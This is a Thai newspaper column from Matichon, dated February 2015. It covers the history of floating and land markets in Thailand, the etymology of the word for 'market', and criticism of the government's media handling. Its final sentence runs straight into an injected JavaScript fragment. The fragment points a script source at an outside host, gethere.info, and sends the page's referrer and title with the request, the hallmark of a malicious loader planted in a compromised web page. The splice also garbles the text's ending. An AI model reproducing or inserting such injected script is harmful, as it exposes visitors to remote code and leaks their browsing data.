มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 26 กุมภาพันธ์ 2558

 

ผู้ใหญ่เล่นขายของตลาดน้ำ, ตลาดบก

          รัฐบาล“ผู้ใหญ่เล่นขายของ” โดยติดตลาดน้ำ, ตลาดบก ในคลองผดุงกรุงเกษม ข้างทำเนียบฯ แล้วมีผู้พูดจาว่าด้วยความเป็นมาของตลาดไปต่างๆ นานา สุดแต่จะมโนกันขึ้นเองอัตโนมัติ

          จะขอยกหลักฐานมาแบ่งปันไว้โดยไม่ถือเป็นข้อยุติ ดังนี้

          ตลาด ควรมีแล้วเป็นปกติธรรมดาของชุมชนเมืองตั้งแต่ราวหลัง พ.ศ. 1000 (หรือมากกว่า 1,500 ปีมาแล้ว) บางทีเรียกยุคทวารวดี เช่น ที่เมืองละโว้ (จ. ลพบุรี) ซึ่งตั้งอยู่บนเส้นทางการค้าโลก ขณะนั้นเติบโตมาก

          เมื่อละโว้ย้ายศูนย์กลางจากแม่น้ำลพบุรีลงไปอยู่อโยธยา (คืออยุธยา) ควบคุมแม่น้ำเจ้าพระยาและอ่าวไทย ชุมชนน้อยใหญ่ย่อมขยายตัวเติบโตตามไปด้วย

          จึงส่งผลให้มีตลาดอยู่ในชุมชนใหญ่สองฝั่งแม่น้ำเจ้าพระยา พบร่องรอยหลักฐานในวรรณกรรมโบราณ ชื่อกำสรวลสมุทร (แต่งยุคต้นอยุธยา ราว พ.ศ. 2000)

          พรรณนาสองฝั่งแม่น้ำสายเก่า ก่อนมีกรุงเทพฯ (ปัจจุบันคือคลองบางกอกน้อย-คลองชักพระ) ว่ามีตลาดน้ำเต็มไปด้วยกล้วยอ้อยผักนางต่างๆ และมีผู้คนเลกไพร่คับคั่ง ดังนี้

          กล้วยอ้อยเหลืออ่านอ้าง       ผักนาง

          จรหลาดเลกคนหนา                ฝั่งเฝ้า

          คำว่า จรหลาด  น่าจะเป็นภาษาตระกูลมอญ-เขมรท้องถิ่นลุ่มน้ำเจ้าพระยา ปัจจุบันกลายรูปเป็นตลาด หมายถึง แหล่งซื้อขายแลกเปลี่ยน (คำลาวออกเสียงว่า กาด ตรงกับคำพื้นเมืองล้านนาว่า ลี บางทีใช้คำซ้ำซ้อนกันว่า กาดลี)

          มีใช้ในกฎหมายยุคอยุธยาลักษณะวิวาทด่าตีว่า “ตลาดพิสาน”

          คำว่า พิสาน มีความหมายเดียวกับในจารึกพ่อขุนรามคำแหงว่า ปสาน มาจากคำภาษาเปอร์เซีย (อิหร่าน) ว่า bazaar

          แสดงว่า ตลาด ไม่ได้กลายจากคำว่า พิสาน, ปสาน จากเปอร์เซีย

          ครูบาอาจารย์ทางภาษาและวรรณกรรมไทยบางท่านอ้างว่า คำ “ยี่สาร” เพี้ยนจากบาซาร์ หรือ bazaar ของเปอร์เซีย แต่มีนักค้นคว้าวัฒนธรรมจีนบอกว่า

          ยี่สาร ในชื่อบ้านยี่สาร (อ. อัมพวา จ. สมุทรสงคราม) กลายจากคำจีนว่า อี้ซาน แปลว่า ภูเขาลูกเดียวโดดๆ ซึ่งตรงกับภูมิประเทศจริงของบริเวณนี้

          ผมคล้อยตามคำอธิบายว่ายี่สาร กลายจากคำจีน มากกว่าจากคำเปอร์เซีย

          ตลาดน้ำยุคอยุธยา มี 4 แห่ง บอกไว้ในคำให้การขุนหลวงหาวัด เป็นตลาดใหญ่อยู่บริเวณแม่น้ำรอบเกาะพระนครศรีอยุธยา คือ

          (1.) ตลาดน้ำวนบางกะจะ อยู่บริเวณสามแยกแม่น้ำ หน้าวัดพนัญเชิง (2.) ตลาดน้ำปากคลองคูจาม อยู่ใต้วัดพุทไธศวรรย์ ท้ายสุเหร่าแขก (3.) ตลาดน้ำปากคลองคูไม้ร้อง อยู่ริมคูเมืองด้านทิศเหนือ ระหว่างวัดเชิงท่ากับวัดพนมโยง (4.) ตลาดน้ำปากคลองวัดเดิม อยู่ใต้ศาลเจ้าปูนเถ้าก๋งแถบวัดอโยธยา ด้านทิศตะวันออก

          ตลาดน้ำยุคกรุงเทพฯ เป็นเรือนแพและเรือแพนาวาอยู่ตามแม่น้ำลำคลอง เช่น ปากคลองบางกอกน้อย (ใกล้โรงพยาบาลศิริราช) มีบอกไว้ในกลอนนิราศพระประธม ของสุนทรภู่ ว่า

          ๏ จนนาวาคลาคล่องเข้าคลองกว้าง      ตำบลบางกอกน้อยละห้อยหวน

          ตลาดแพแลตลอดเขาทอดพวน           แลแต่ล้วนเรือตลาดไม่ขาดคราว

          กระทรวงวัฒนธรรม ควรสนับสนุนรัฐบาลเผด็จการ โดยเผยแพร่ข้อมูลข่าวสารความรู้สู่สาธารณะบ้าง เช่น เรื่องตลาดน้ำ, ตลาดบก

          ไม่ใช่ทำแต่ข่าวแจกยกยอปอปั้นประจบนาย (ตามใบสั่ง) แล้วคอยควบคุมสื่อให้ทำตามใบสั่งนั้น ประหนึ่งหลงในอำนาจรัฐเผด็จการs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;